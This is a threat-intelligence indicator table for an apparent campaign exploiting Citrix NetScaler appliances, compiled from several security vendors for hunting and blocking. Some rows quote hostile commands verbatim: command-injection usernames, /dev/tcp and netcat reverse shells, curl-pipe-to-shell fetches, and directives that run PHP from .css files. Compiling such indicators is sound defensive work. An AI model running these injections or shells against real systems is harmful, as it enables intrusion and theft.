| File name | LoginIcon.sig | Sygnia [54] | Artefact in a NetScaler web-accessible directory | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| Apache directive | AddHandler application/x-httpd-php .css | Sygnia [54] | Makes CSS-looking files run as PHP | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| Apache directive | AddHandler application/x-httpd-php .ico | Sygnia [54] | Makes icon-looking files run as PHP | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| NetScaler log line | AAA LOGIN_FAILED: User pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X - Client_ip 64.94.85.67 - Failure_reason "External authentication server denied access" | Arctic Wolf [53] | Failed login with the injected command as the username. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys. | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence. | Public GitHub repository, no TLP marking |
| NetScaler log line | AAA LOGIN REQ: parsed data; username: <pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X> | Arctic Wolf [53] | AAA parses the injected username. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys. | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence. | Public GitHub repository, no TLP marking |
| NetScaler log line | AAAD API: sending login req to aaad for <pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X>, factor <...>, auth type 4129 | Arctic Wolf [53] | SSLVPN message passing the username to aaad. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys. | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence. | Public GitHub repository, no TLP marking |
| NetScaler log line | Authentication delegated to Packet engine for pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X, trying to find appropriate action with bitmask 1 | Arctic Wolf [53] | AAATM message. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys. | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence. | Public GitHub repository, no TLP marking |
| URL | http://31.56.197.72:9090/lula | Arctic Wolf [53]; LevelBlue SpiderLabs (THOR team) [63] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed. | Public GitHub repository, no TLP marking |
| URL | http://31.56.197.72/lula | Arctic Wolf [53] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://31.56.197.72/kk | Arctic Wolf [53] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://68.178.160.183:8899/test111 | Arctic Wolf [53] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://68.178.160.183:8888/test | Arctic Wolf [53] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://89.44.80.7:65456/exec-ok | Arctic Wolf [53] | Execution-check callback | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://89.44.80.7:65456/$(id|base64 -w0) | Arctic Wolf [53] | Callback carrying Base64 id output | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://130.94.42.226:18805/?t=<REDACTED> | Arctic Wolf [53] | Callback (token redacted by Arctic Wolf) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://134.175.71.50:4123/1 | Arctic Wolf [53] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://177.4.12.11:8080/s?t=a | Arctic Wolf [53] | Fetched with curl -sk and piped to sh | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://177.4.12.11:8080/s?t=b | Arctic Wolf [53] | Fetched with curl -sk and piped to sh | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | http://177.4.12.11:8080/s?t=c | Arctic Wolf [53] | Payload URL | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URL | https://entretiensol.com:443/api/v1/install/<REDACTED> | Arctic Wolf [53] | Platypus agent install, fetched with curl -fsSL --tlsv1.2 -k (path redacted by Arctic Wolf) | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Command | /bin/sh -i >& /dev/tcp/45.141.21.130/443 0>&1 | Arctic Wolf [53] | Bash reverse shell, observed in the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Command | nc -e /bin/sh 89.44.80.7 58963 | Arctic Wolf [53] | Netcat reverse shell, observed in the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Command | id|base64 -w0 | Arctic Wolf [53] | Command-output exfiltration over HTTP, observed in the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Command | curl -fsSL http://153.75.82.220/download/x.sh | bash | Arctic Wolf [53] | Remote shell script execution, observed in the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| Command | curl -sk 177.4.12.11:8080/s?t=a|sh | Arctic Wolf [53] | Remote shell script execution, observed in the injected username | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| IPv4 | 70.172.58.168 | LevelBlue SpiderLabs (THOR team) [63] | Source of NetScaler exploitation attempts | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| IPv4 | 162.243.36.88 | LevelBlue SpiderLabs (THOR team) [63] | Source of NetScaler exploitation attempts | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| IPv4 | 173.40.135.209 | LevelBlue SpiderLabs (THOR team) [63] | Source of NetScaler exploitation attempts | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| IPv4 | 47.230.224.154 | LevelBlue SpiderLabs (THOR team) [63] | Source of NetScaler exploitation attempts | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| SHA-256 | e9fe43968c6c0955300e3bc4d7fb0b05a18570b4733aaf4f5c6f7f09be5a242c | LevelBlue SpiderLabs (THOR team) [63] | main.py: overwrites /var/python/bin/customsnmpd with a Python reverse shell to 45.141.21.130:443 and kills the running customsnmpd | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| URL | http://64.94.85.67:443/update_result_3567cs.tgz | LevelBlue SpiderLabs (THOR team) [63] | Upload target for the archived /flash/nsconfig (attempted upload; LevelBlue does not confirm the data left) | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| File path | /tmp/update_result_3567cs.tgz | LevelBlue SpiderLabs (THOR team) [63] | Archive of /flash/nsconfig staged by update_c08937.pl, then deleted with the script itself; absence does not mean it did not run | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| File path | /var/netscaler/logon/LogonPoint/.local_journal | LevelBlue SpiderLabs (THOR team) [63] | PHP webshell (command execution, upload, download) installed by update_c08937.pl | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| File path | /var/netscaler/logon/LogonPoint/xua.html | LevelBlue SpiderLabs (THOR team) [63] | tar archive of /flash/nsconfig written into the web directory (configuration staging) | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| File path | /var/python/bin/customsnmpd | LevelBlue SpiderLabs (THOR team) [63] | Overwritten by main.py with a reverse shell; unexpected modification or execution is a lead | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| Account | sec_monitor | LevelBlue SpiderLabs (THOR team) [63] | Local superuser added to /flash/nsconfig/ns.conf by update_c08937.pl | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| URL alias | LogonUISimple.html.style.min.css | LevelBlue SpiderLabs (THOR team) [63]; eSentire TRU blog [70] | CSS-looking alias (and hex variants) mapped in httpd.conf to the .local_journal webshell. eSentire gives the full form: Alias /logon/LogonPoint/css/LogonUISimple.html.style.min.css plus AliasMatch ^/logon/LogonPoint/css/LogonUISimple\.html\.style\.min\.[0-9a-f]+\.css$ (note the /css/ directory) | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;whoami;# X | LevelBlue SpiderLabs (THOR team) [63] | Command-execution test in an authentication username | LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist. | Public blog, no TLP marking |
| File path | /var/tmp/.nsmon/.cfg | Arctic Wolf [53] | nsmon.pl configuration values | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| File path | /var/tmp/.nsmon/.state | Arctic Wolf [53] | nsmon.pl state file used to check whether a recorded process is still running | Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. | Public GitHub repository, no TLP marking |
| URI path | /logon/LogonPoint/custom/receiver.min..css | Sygnia [54] | Request path as listed by Sygnia (two dots), consistent with the receiver.min.<hex>.css webshell alias | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE; | Sygnia [54] | Sygnia confidence High: new command-injection variant | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| Log string | pitboss PPE missed too many heartbeats NSPPE; | Sygnia [54] | Sygnia confidence High: heartbeat loader variant | Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. | Public advisory, no TLP marking |
| IPv4 | 195.123.233.245 | TENEX [55] | Primary Platypus C2 node (443); entretiensol.com and white-guard.pro resolve here | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| IPv4 | 38.180.81.157 | TENEX [55] | C2 node sharing the cluster certificate | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| IPv4 | 95.133.231.109 | TENEX [55] | C2 node sharing the cluster certificate | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| IPv4 | 104.200.67.56 | TENEX [55] | C2 node sharing the cluster certificate | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | white-guard.pro | TENEX [55] | Resolves to the primary C2 node | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | garyvard.com | TENEX [55] | Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | hickoryusedauto.com | TENEX [55] | Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | gurerasfalt.com | TENEX [55] | Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | rockinroyaltykids.com | TENEX [55] | Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Domain | currydownsrvpark.com | TENEX [55] | Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| TLS cert SHA-256 | 38b7c597c3f33f2caa2b2de9873f15cf9cb9984b0eacb801ef4b654a96ba9bd0 | TENEX [55] | Shared cluster certificate (subject platypus-ingress, issuer Platypus project default); ties the four C2 nodes together | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Cert URI SAN | platypus://server/default | TENEX [55] | Platypus framework certificate identity scheme; hunt by pattern, not only the exact fingerprint | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Signing key | S8GEj/Ibzw/Zy9Z5u4saQyn0h59enf9Mk3J2m70tTMs= | TENEX [55] | Ed25519/minisign public key embedded in every agent build; the best cross-build pivot | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Build fingerprint | 0.1.0-SNAPSHOT-4b91c7db | TENEX [55] | Newer agent build, compiled 2026-09-28 | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Build fingerprint | 0.1.0-SNAPSHOT-697ffe7c | TENEX [55] | Earlier agent build, compiled 2026-09-08, same operator signing key | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| SHA-256 | c98aee75c5e199c9b5527984ce48675d665963f7cab8ce9f2e82465de6b58727 | TENEX [55]; eSentire TRU blog [70] | Platypus agent, freebsd/amd64 (the appliance-relevant build); eSentire TRU Cluster B: the Linux build was UPX-packed, the FreeBSD build unpacked Go; the agent was enrolled against entretiensol.com:443 with token plt_wqmnjp5jusrcpzicqa2t.gg3s7yppdptle5dyefxj in their incidents | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. Enrollment tokens differ per victim (TENEX); the hash is the durable pivot. | Public blog, no TLP marking |
| SHA-256 | 89b64bd45478e53299f9c422cbba40fac3ac0712b551b85185e38203f7f984c6 | TENEX [55] | Platypus agent, linux/amd64 (current build) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| SHA-256 | be5832f3993ff63a36100b2f7b89c8d385e20dd9d72876700e7ade9fb9e6d4cb | TENEX [55] | Platypus agent, UPX-packed Linux x86-64; earlier build | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| SHA-256 | 0dcac605a3a0c37001552369a6a77003226b35ddee7710b554fcd0e6809a76d1 | TENEX [55]; Binary Defense ARC Labs [60] | Platypus agent, windows/amd64. Binary Defense (12 Oct) independently recovered a Windows agent from the same C2 (entretiensol.com) as delivered: PE32+ x86-64, UPX 4.22 packed, 5,438,464 bytes - their sample carries the same fork build identity (0.1.0-SNAPSHOT-4b91c7db, built 2026-09-28 21:02 UTC, Ed25519 key S8GEj/Ibzw/...), consistent with this hash being that delivered UPX build, though Binary Defense does not print the hash itself | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. Binary Defense correlation is by build identity, not a printed hash match. | Public blog, no TLP marking |
| SHA-256 | 3754689fafacd2ff1c50781de2027afb1a736f9dadf48767afe560fc0f10a6f0 | Binary Defense ARC Labs [60] | Platypus fork Windows agent, unpacked, PE32+ x86-64 Go, 19,414,528 bytes (Binary Defense 12 Oct; fork-only modules internal/agent/rootesc - active privilege escalation via sudo/sudo_gtfo/rootexec/takeover - and internal/agent/selfpersist - covert persistence with watchdog, timestomping and masquerade names such as "System Health Monitor" and healthd). Sandbox run: executed cleanly, Microsoft Defender did not block it, 1 of 65 on VirusTotal at analysis time, 248 TLS + 193 HTTP enrollment attempts to the sinkhole, nothing past enrollment fired | Binary Defense malware-lab hash; the fork is verified against 1,689 public Platypus commits (both modules absent upstream). A rebuild changes the hash - hunt the behavior, not only the hash. | Public blog, no TLP marking |
| SHA-256 | 04db3fc44c81886844ef47949d7f352953a6bf1be4866be1fb3e7e12c452e3ac | TENEX [55] | Platypus agent, darwin/arm64 | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| SHA-256 | 2d2c2f6842982f7e1cb894ce915d39f2a9861009c7ecb1b90da803f2c3c608f4 | TENEX [55] | Platypus agent, linux/amd64 unpacked (more stable than the packed hashes) | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| HTTP request | POST /api/v1/agents/enroll with Content-Type application/x-protobuf-platypus-v2 | TENEX [55] | Platypus agent enrollment; the content type is highly distinctive | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| URI path | /api/v1/agent/link | TENEX [55] | Platypus WebSocket tasking channel over mutual TLS | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Network fingerprint | _platypus-mesh._tcp (mDNS, UDP/5353) | TENEX [55] | LAN peer discovery in cleartext; the easiest way to find a second infected host on the same segment | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| User-Agent | platypus-agent/public-ip-probe | TENEX [55] | Platypus agent public-IP probe | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| File path | /netscaler.local/ | TENEX [55] | Operator-created binary directory, not part of the stock NetScaler layout | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| File name | ns_*.pl | TENEX [55] | Agent renamed as a NetScaler-style Perl script; the number is per install, so hunt the pattern and check content | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| File path | /var/core/.ns-cache/ (client.crt, client.key, agent.lock, state.db) | TENEX [55] | Agent working directory; the client certificate and key exist only if enrollment completed, and they survive a firmware upgrade | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| Username | scanner-probe | TENEX [55] | Submitted to the authentication virtual server for reconnaissance just before the injection attempts | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| File path | /.x | TENEX [55] | Stager written by the injected shell-loader command and then run with sh | TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. | Public blog, no TLP marking |
| IPv4 | 199.233.217.13 | TENEX [55] | Check-in over TCP/8080 (/hi, /hi/<ip>) and a netcat reverse shell to TCP/8000 | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| IPv4 | 130.94.20.222 | TENEX [55] | Silent beacon to :8888/c/<hex> | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| Command | nc 199.233.217.13 8000 -e /bin/sh | TENEX [55] | Netcat reverse shell | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| Command | curl http://199.233.217.13:8080/hi/ | TENEX [55] | Attacker check-in to fresh infrastructure | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| Command | curl -m 8 -sk http://130.94.20.222:8888/c/<hex> -o /dev/null | TENEX [55] | Silent beacon that confirms reachability without saving output | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| Command | bash -c $(curl -fsSL https://gsocket.io/y) | TENEX [55] | One-line Global Socket Toolkit deploy with an S=<hex> key. gsocket.io is a legitimate service abused here, so do not block the domain | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| Command | whoami; id>/netscaler/ns_gui/vpn/id009.txt; id>/netscaler/ns_gui/id009.txt | TENEX [55] | Execution check that writes id output to a web-readable appliance path | TENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator. | Public blog, no TLP marking |
| File path | /var/tmp/watchTowr | watchTowr Detection Artefact Generator [41] | README example output path of the CVE-2026-88771 detection tool (id>/var/tmp/watchTowr) | Test marker from a public watchTowr detection tool (README example path). A hit means someone ran the tool, possibly a defender, not necessarily an attacker. The operator can choose any path. | Public GitHub repository, no TLP marking |
| File path | /tmp/watchTowr | watchTowr Detection Artefact Generator [43] | README example output path of the CVE-2026-88772 (DTLS) detection tool; the example writes a 7-byte file | Test marker from a public watchTowr detection tool (README example path). A hit means someone ran the tool, possibly a defender, not necessarily an attacker. The operator can choose any path. | Public GitHub repository, no TLP marking |
| Log string | pitboss PPE unexpectedly died NSPPE;printf wt88771mbw9drneqklf>/var/netscaler/logon/themes/wt88771mbw9drneqklf.txt;# X | r/Citrix [137] | Injected username that writes a marker file into the logon themes directory (execution test) | Single Reddit commenter, unverified. The wt88771 prefix with a random suffix looks like a detection canary, but it does not appear in watchTowr's published tool or write-up, so do not attribute it to watchTowr. Treat as a hunting lead. | Public Reddit comment |
| File path | /var/netscaler/logon/themes/wt88771mbw9drneqklf.txt | r/Citrix [137] | Marker file created by the command above; hunt for wt88771*.txt under /var/netscaler/logon/themes/ | Single Reddit commenter, unverified. The wt88771 prefix with a random suffix looks like a detection canary, but it does not appear in watchTowr's published tool or write-up, so do not attribute it to watchTowr. Treat as a hunting lead. | Public Reddit comment |
| Log string | pitboss PPE unexpectedly died NSPPE;wget http://31.56.197.72:9090/lula;# X | r/Citrix [137]; LevelBlue SpiderLabs (THOR team) [63] | Payload retrieval from 31.56.197.72, also described by LevelBlue; the same host appears in the Arctic Wolf and TENEX data | Single Reddit commenter, unverified. The wt88771 prefix with a random suffix looks like a detection canary, but it does not appear in watchTowr's published tool or write-up, so do not attribute it to watchTowr. Treat as a hunting lead. The wget line itself matches LevelBlue's published example. | Public Reddit comment |
| IPv4 | 213.209.159.55 | Beaumont, Oct 2 19:01 UTC [98]; VirusTotal [82]; Poppelgaard [56]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | Named as the payload server in screenshots of a write-up attached to the Beaumont post (author not named): crafted SAML-factor usernames on two 14.1-73.37 appliances made them fetch a payload from it over plain HTTP on TCP 443 (paths under /t/), save it as /v and run it. The incoming request source was not identified. The Poppelgaard checker calls it the exfiltration host of the SAML-attack dropper "380d56" (2 Oct, community analysis). A VirusTotal community comment also says a Perl payload related to NetScaler exploits is hosted on this IP. Beazley Security's IoC table (4 Oct) publicly lists it as "Exploit and payload delivery". AS208137, Feo Prest SRL, Germany. | Unverified. The write-up itself says it shows exploitation attempts and correlated crashes, not confirmed command execution, a specific CVE or a firmware regression. No vendor or CERT has confirmed it. The payload-vs-exfiltration role differs between the two sources; Beazley's table now publicly confirms both roles ("exploit and payload delivery"). Either role means an infected appliance would connect out to this host, so it is kept in this site's IPv4 edge blocklist as defence in depth. | Public Mastodon post (screenshots) |
| SHA-256 | b9b0a4380db462c706597bd3e6a08d4d99fcbbf0919d63eb99b488d396c8ce63 | VirusTotal [82] | Perl script (24.57 KB), first submitted to VirusTotal on 2 Oct at 17:29 UTC. THOR (Nextron) commented a Valhalla rule match, MAL_EXPL_CVE_2026_88771_Oct26 (detects a CVE-2026-88771 post-exploitation script), and a community comment says it is a NetScaler exploit payload hosted on 213.209.159.55. Re-checked 3 Oct 16:14 UTC: 4 of 75 engines flag it (UDS:Backdoor.Win32.Tofsee, Win32.Hack.Tofsee.a, Backdoor.Perl!9.85243, Kaspersky HEUR:Backdoor/Perl.WebShell.b) | Still the weaker of the two payloads: four heuristic/backdoor labels, no engine names the NetScaler campaign, and no public report ties this hash to f.pylrk.cc or the Sliver implant - it came from a different delivery host (213.209.159.55). The file content was not reviewed here, and no vendor report names it. | Public VirusTotal page |
| SHA-256 | 0188b0eba4b01c4fb838df9d1d76c76d7f1dc22897e25161975b606c134c1027 | External malware analysis report (TLP:CLEAR, 2 Oct) [62]; VirusTotal [83]; Beazley Security second-wave indicators (BSL-A1216, updated Oct 4 with Update 6; carried in the Poppelgaard checker v1.12 via Gotham Technology Group, shared with permission) [57] | Sliver C2 implant built for FreeBSD (the OS under NetScaler): statically linked stripped Go ELF64, 8,822,784 bytes, MD5 117ba08492fe68726dae74b40d375c28. Served over HTTPS from f.pylrk.cc/HaKi2ufpiQ8AeVTZ/host (HTTP/2 200, application/octet-stream, Cloudflare-fronted; re-verified live 3 Oct). Hardcoded C2 https://www.pylrk.cc, protocol tag pylrkfbsd, IMPLANT_CAPABILITY_TUNNEL_TERMINAL_V1 (reverse shell/tunnel), spoofed Chrome 108/Windows User-Agent for its own beacons, no embedded IP. VT filenames include /var/tmp/.host, /private/var/tmp/.host and citrix3.bad - appliance deployment paths. 31 of 75 engines on VirusTotal (3 Oct 14:25 UTC), all Sliver/Vilers-family labels; first submitted 2 Oct 11:49 UTC. A TLP:CLEAR malware analysis report (2 Oct) ties it to CVE-2026-88771 exploitation of a NetScaler Gateway, corroborated by an Expel IR observation; Expel reported netcat-style reverse callbacks in the same campaign. Beazley Security's 4 Oct analysis adds: implant named Pylrkfbsd, connects to www.pylrk.cc over HTTPS with fallback to HTTP on port 80, first-connection registration reports the appliance hostname, a MAC-address-derived unique ID, running account, process ID and file path, encrypts traffic with a new key per session, accepts task/tunnel/settings/shutdown commands, and retries up to 1,000 times. | Vendor-independent: an external team's static analysis (sample not executed), plus Expel corroboration and Beazley IR - strong for this campaign, but not a vendor or CERT publication. Detection labels are all Sliver/Vilers; the FreeBSD build and pylrk.cc C2 are what tie it here. Cloudflare fronts the delivery host, so block the domain and hash, not the IPs. | Public VirusTotal page and TLP:CLEAR report |
